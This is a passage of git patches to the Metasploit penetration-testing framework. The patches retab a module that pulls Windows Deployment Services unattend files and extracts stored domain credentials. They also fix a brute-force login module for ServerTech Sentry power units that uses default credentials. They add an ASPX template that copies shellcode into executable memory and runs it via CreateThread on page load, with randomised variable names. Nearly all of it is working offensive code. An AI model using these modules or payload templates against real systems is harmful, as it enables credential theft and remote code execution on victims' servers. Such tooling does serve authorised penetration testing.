b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -5,78 +5,78 @@ module DCERPC module WDSCP class Packet - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants - def initialize(packet_type, opcode) - if opcode.nil? || packet_type.nil? - raise(ArgumentError, "Packet arguments cannot be nil") - end + def initialize(packet_type, opcode) + if opcode.nil? || packet_type.nil? + raise(ArgumentError, "Packet arguments cannot be nil") + end - @variables = [] - @packet_type = WDS_CONST::PACKET_TYPE[packet_type] - @opcode = WDS_CONST::OPCODE[opcode] - end + @variables = [] + @packet_type = WDS_CONST::PACKET_TYPE[packet_type] + @opcode = WDS_CONST::OPCODE[opcode] + end - def add_var(name, type_mod=0, value_length=nil, array_size=0, value) - padding = 0 - value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] - name = Rex::Text.to_unicode(name).unpack('H*')[0] + def add_var(name, type_mod=0, value_length=nil, array_size=0, value) + padding = 0 + value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + name = Rex::Text.to_unicode(name).unpack('H*')[0] - value_length ||= value.length + value_length ||= value.length - # Variable block total size should be evenly divisible by 16. - len = 16 * (1 + (value_length/16)) - @variables << - [ name, - padding, - value_type, - type_mod, - value_length, - array_size, - value - ].pack('H132vvvVVa%i' % len) - end + # Variable block total size should be evenly divisible by 16. + len = 16 * (1 + (value_length/16)) + @variables << + [ name, + padding, + value_type, + type_mod, + value_length, + array_size, + value + ].pack('H132vvvVVa%i' % len) + end - def create - packet = [] - var_count = @variables.count + def create + packet = [] + var_count = @variables.count - packet_size = 0 - @variables.each do |var| - packet_size += var.length - end + packet_size = 0 + @variables.each do |var| + packet_size += var.length + end - # variables + operation - packet_size += 16 + # variables + operation + packet_size += 16 - # These bytes are not part of the spec but are not part of DCERPC according to Wireshark - # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << Rex::Text.pack_int64le(packet_size+40)*2 - packet << create_endpoint_header(packet_size) - packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) - packet.concat(@variables) + # These bytes are not part of the spec but are not part of DCERPC according to Wireshark + # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... + packet << Rex::Text.pack_int64le(packet_size+40)*2 + packet << create_endpoint_header(packet_size) + packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) + packet.concat(@variables) - return packet.join - end + return packet.join + end - def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize - 256, # Version - packet_type, # Packet_Type - 0, # Padding - opcode, # Opcode - var_count, # Variable Count - ].pack('VvCCVV') - end + def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count + ].pack('VvCCVV') + end - def create_endpoint_header(packet_size) - return [ 40, # Header_Size - 256, # Version - packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... - WDS_CONST::OS_DEPLOYMENT_GUID, # GUID - "\x00"*16, # Reserved - ].pack('vvVa16a16') - end + def create_endpoint_header(packet_size) + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved + ].pack('vvVa16a16') + end end end end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 119c44af1a..a411eb9592 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -12,210 +12,210 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::DCERPC + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner - DCERPCPacket = Rex::Proto::DCERPC::Packet - DCERPCClient = Rex::Proto::DCERPC::Client - DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', - 'Description' => %q{ - This module retrieves the client unattend file from Windows - Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2 - }, - 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], - 'License' => MSF_LICENSE, - 'Version' => '', - 'References' => - [ - [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], - [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] - ], - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', + 'Description' => %q{ + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 + }, + 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'License' => MSF_LICENSE, + 'Version' => '', + 'References' => + [ + [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] + ], + )) - register_options( - [ - Opt::RPORT(5040), - ], self.class) + register_options( + [ + Opt::RPORT(5040), + ], self.class) - deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') - register_advanced_options( - [ - OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) - ], self.class) - end + register_advanced_options( + [ + OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) + ], self.class) + end - def run_host(ip) - begin - query_host(ip) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") - end - end + def run_host(ip) + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end + end - def query_host(rhost) - # Create a handler with our UUID and Transfer Syntax - self.handle = Rex::Proto::DCERPC::Handle.new( - [ - WDS_CONST::WDSCP_RPC_UUID, - '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 - ], - 'ncacn_ip_tcp', - rhost, - [datastore['RPORT']] - ) + def query_host(rhost) + # Create a handler with our UUID and Transfer Syntax + self.handle = Rex::Proto::DCERPC::Handle.new( + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) - print_status("Binding to #{handle} ...") + print_status("Binding to #{handle} ...") - self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) - print_good("Bound to #{handle}") + self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) + print_good("Bound to #{handle}") - report_service( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'tcp', - :name => "dcerpc", - :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" - ) + report_service( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + ) - table = Rex::Ui::Text::Table.new({ - 'Header' => 'Windows Deployment Services', - 'Indent' => 1, - 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] - }) + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Windows Deployment Services', + 'Indent' => 1, + 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] + }) - creds_found = false + creds_found = false - WDS_CONST::ARCHITECTURE.each do |architecture| - if architecture[0] == :ARM && !datastore['ENUM_ARM'] - vprint_status "Skipping #{architecture[0]} architecture due to adv option" - next - end + WDS_CONST::ARCHITECTURE.each do |architecture| + if architecture[0] == :ARM && !datastore['ENUM_ARM'] + vprint_status "Skipping #{architecture[0]} architecture due to adv option" + next + end - begin - result = request_client_unattend(architecture) - rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e - vprint_error(e.to_s) - print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return - end + begin + result = request_client_unattend(architecture) + rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e + vprint_error(e.to_s) + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return + end - unless result.nil? - loot_unattend(architecture[0], result) - results = parse_client_unattend(result) + unless result.nil? + loot_unattend(architecture[0], result) + results = parse_client_unattend(result) - results.each do |result| - unless result.empty? - unless result['username'].nil? || result['password'].nil? - print_good("Retrived #{result['type']} credentials for #{architecture[0]}") - creds_found = true - domain = "" - domain = result['domain'] if result['domain'] - report_creds(domain, result['username'], result['password']) - table << [architecture[0], result['type'], domain, result['username'], result['password']] - end - end - end - end - end + results.each do |result| + unless result.empty? + unless result['username'].nil? || result['password'].nil? + print_good("Retrived #{result['type']} credentials for #{architecture[0]}") + creds_found = true + domain = "" + domain = result['domain'] if result['domain'] + report_creds(domain, result['username'], result['password']) + table << [architecture[0], result['type'], domain, result['username'], result['password']] + end + end + end + end + end - if creds_found - print_line - table.print - print_line - else - print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") - end - end + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") + end + end - def request_client_unattend(architecture) - # Construct WDS Control Protocol Message - packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) - packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, - "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ - "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ - "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ - "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ - "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") - wdsc_packet = packet.create + def request_client_unattend(architecture) + # Construct WDS Control Protocol Message + packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, + "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ + "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ + "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ + "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ + "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + wdsc_packet = packet.create - print_status("Sending #{architecture[0]} Client Unattend request ...") - response = dcerpc.call(0, wdsc_packet) + print_status("Sending #{architecture[0]} Client Unattend request ...") + response = dcerpc.call(0, wdsc_packet) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - vprint_status('Received response ...') - data = dcerpc.last_response.stub_data + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + vprint_status('Received response ...') + data = dcerpc.last_response.stub_data - # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - op_error_code = data.unpack('i*')[18] - if op_error_code == 0 - if data.length < 277 - vprint_error("No Unattend received for #{architecture[0]} architecture") - return nil - else - vprint_status("Received #{architecture[0]} unattend file ...") - return extract_unattend(data) - end - else - vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") - return nil - end - end - end + # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 + op_error_code = data.unpack('i*')[18] + if op_error_code == 0 + if data.length < 277 + vprint_error("No Unattend received for #{architecture[0]} architecture") + return nil + else + vprint_status("Received #{architecture[0]} unattend file ...") + return extract_unattend(data) + end + else + vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") + return nil + end + end + end - def extract_unattend(data) - start = data.index('<?xml') - finish = data.index('</unattend>')+10 - return data[start..finish] - end + def extract_unattend(data) + start = data.index('<?xml') + finish = data.index('</unattend>')+10 + return data[start..finish] + end - def parse_client_unattend(data) - begin - xml = REXML::Document.new(data) + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end - return Rex::Parser::Unattend.parse(xml).flatten - end + return Rex::Parser::Unattend.parse(xml).flatten + end - def loot_unattend(archi, data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") - print_status("Raw version of #{archi} saved as: #{p}") - end + def loot_unattend(archi, data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") + end - def report_creds(domain, user, pass) - report_auth_info( - :host => rhost, - :port => 4050, - :sname => 'dcerpc', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) - end + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end end From 7ce9d38eba42284f46d136a498999d013aca6ddc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 6 Sep 2013 09:49:52 -0500 Subject: [PATCH 033/210] Fix module --- modules/auxiliary/scanner/http/sentry_cdu_enum.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 80f56eec53..00e355867f 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => '/', + 'uri' => '/index.html', 'method' => 'GET', - 'authorization' => basic_auth('user','pass') + 'authorization' => basic_auth(user,pass) }) if (res and res.headers['Set-Cookie']) From 94cc3f0e4928eb80ee51eaec163d65001e4a614d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 6 Sep 2013 09:51:14 -0500 Subject: [PATCH 034/210] Retab changes --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 174 +++++++++--------- 1 file changed, 87 insertions(+), 87 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 00e355867f..2ba6434e46 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -10,103 +10,103 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', - 'Description' => %{ - This module scans for ServerTech's Sentry Switched CDU (Cabinet Power - Distribution Unit) web login portals, and performs login brute force - to identify valid credentials. - }, - 'Author' => - [ - 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', - ], - 'License' => MSF_LICENSE - )) + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', + 'Description' => %{ + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power + Distribution Unit) web login portals, and performs login brute force + to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', + ], + 'License' => MSF_LICENSE + )) - register_options( - [ - OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), - OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) - ], self.class) - end + register_options( + [ + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) + ], self.class) + end - def run_host(ip) - unless is_app_sentry? - print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") - return - end + def run_host(ip) + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") + return + end - print_status("#{rhost}:#{rport} - Starting login brute force...") - each_user_pass do |user, pass| - do_login(user, pass) - end - end + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end - # - # What's the point of running this module if the app actually isn't Sentry - # - def is_app_sentry? - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - return false - end + # + # What's the point of running this module if the app actually isn't Sentry + # + def is_app_sentry? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return false + end - if (res and res.body.include?("Sentry Switched CDU")) - vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") - return true - else - return false - end - end + if (res and res.body.include?("Sentry Switched CDU")) + vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") + return true + else + return false + end + end - # - # Brute-force the login page - # - def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") - begin - res = send_request_cgi( - { - 'uri' => '/index.html', - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) - }) + # + # Brute-force the login page + # + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/index.html', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) - if (res and res.headers['Set-Cookie']) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } - report_auth_info(report_hash) - return :next_user + report_auth_info(report_hash) + return :next_user - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") - end + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") - return :abort - end - end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort + end + end end From 11bdf5d33243a4eb83b931e12922412f8137fcb0 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Thu, 19 Sep 2013 19:57:38 +0100 Subject: [PATCH 035/210] New pull --- data/templates/scripts/to_mem.aspx.template | 21 +++++ lib/msf/util/exe.rb | 89 ++++++++++++-------- lib/rex/random_identifier_generator.rb | 26 ++++-- spec/support/shared/contexts/msf/util/exe.rb | 2 + 4 files changed, 96 insertions(+), 42 deletions(-) create mode 100644 data/templates/scripts/to_mem.aspx.template diff --git a/data/templates/scripts/to_mem.aspx.template b/data/templates/scripts/to_mem.aspx.template new file mode 100644 index 0000000000..7bb9bfbd12 --- /dev/null +++ b/data/templates/scripts/to_mem.aspx.template @@ -0,0 +1,21 @@ +<%%@ Page Language="C#" AutoEventWireup="true" %%> +<%%@ Import Namespace="System.IO" %%> +<script runat="server"> + private static Int32 MEM_COMMIT=0x1000; + private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId); + + protected void Page_Load(object sender, EventArgs e) + { + %{shellcode} + IntPtr %{var_funcAddr} = VirtualAlloc(IntPtr.Zero,(UIntPtr)%{var_bytearray}.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(%{var_bytearray},0,%{var_funcAddr},%{var_bytearray}.Length); + IntPtr %{var_threadId} = IntPtr.Zero; + IntPtr %{var_hThread} = CreateThread(IntPtr.Zero,UIntPtr.Zero,%{var_funcAddr},IntPtr.Zero,0,ref %{var_threadId}); + } +</script> diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 457806732a..32bc1c1361 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -13,6 +13,7 @@ class EXE require 'rex' require 'rex/peparsey' require 'rex/pescan' +require 'rex/random_identifier_generator' require 'rex/zip' require 'metasm' require 'digest/sha1' @@ -56,8 +57,12 @@ require 'msf/core/exe/segment_injector' end end - def self.read_replace_script_template(filename, hash_sub) - template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename) + def self.rig_read_replace_script_template(filename, rig) + read_replace_script_template(filename, rig.to_h) + end + + def self.read_replace_script_template(filename, hash_sub) + template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) template = '' File.open(template_pathname, "rb") do |f| @@ -822,17 +827,32 @@ def self.to_vba(framework,code,opts={}) return read_replace_script_template("to_exe.aspx.template", hash_sub) end - def self.to_win32pe_psh_net(framework, code, opts={}) - hash_sub = {} - hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) + def self.to_mem_aspx(framework, code, exeopts={}) + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:var_funcAddr) + rig.init_var(:var_hThread) + rig.init_var(:var_pInfo) + rig.init_var(:var_threadId) + rig.init_var(:var_bytearray) + + hash_sub = rig.to_h + hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig.init_var(:var_bytearray)) + + return read_replace_script_template("to_mem.aspx.template", hash_sub) + end + + def self.to_win32pe_psh_net(framework, code, opts={}) + hash_sub = {} + hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) @@ -1532,21 +1552,24 @@ def self.to_vba(framework,code,opts={}) output = Msf::Util::EXE.to_exe_asp(exe, exeopts) when 'aspx' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) + output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) - when 'dll' - output = case arch - when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) - when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) - end - when 'exe' - output = case arch - when ARCH_X86,nil then to_win32pe(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe(framework, code, exeopts) - when ARCH_X64 then to_win64pe(framework, code, exeopts) - end + when 'aspx-exe' + exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) + + when 'dll' + output = case arch + when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) + end + when 'exe' + output = case arch + when ARCH_X86,nil then to_win32pe(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe(framework, code, exeopts) + when ARCH_X64 then to_win64pe(framework, code, exeopts) + end when 'exe-service' output = case arch @@ -1629,12 +1652,12 @@ def self.to_vba(framework,code,opts={}) output end - def self.to_executable_fmt_formats - [ - 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx','war','psh','psh-net' - ] - end + def self.to_executable_fmt_formats + [ + 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', + 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net' + ] + end # # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR diff --git a/lib/rex/random_identifier_generator.rb b/lib/rex/random_identifier_generator.rb index 93c304811a..257fdae54d 100644 --- a/lib/rex/random_identifier_generator.rb +++ b/lib/rex/random_identifier_generator.rb @@ -66,15 +66,22 @@ class Rex::RandomIdentifierGenerator #} end - # Return a unique random identifier for +name+, generating a new one - # if necessary. - # - # @param name [Symbol] A descriptive, intention-revealing name for an - # identifier. This is what you would normally call the variable if - # you weren't generating it. - # @return [String] - def get(name) - return @value_by_name[name] if @value_by_name[name] + # Returns the @value_by_name hash + # + # @return [Hash] + def to_h + return @value_by_name + end + + # Return a unique random identifier for +name+, generating a new one + # if necessary. + # + # @param name [Symbol] A descriptive, intention-revealing name for an + # identifier. This is what you would normally call the variable if + # you weren't generating it. + # @return [String] + def get(name) + return @value_by_name[name] if @value_by_name[name] @value_by_name[name] = generate @name_by_value[@value_by_name[name]] = name @@ -82,6 +89,7 @@ class Rex::RandomIdentifierGenerator @value_by_name[name] end alias [] get + alias init_var get # Add a new identifier. Its name will be checked for uniqueness among # 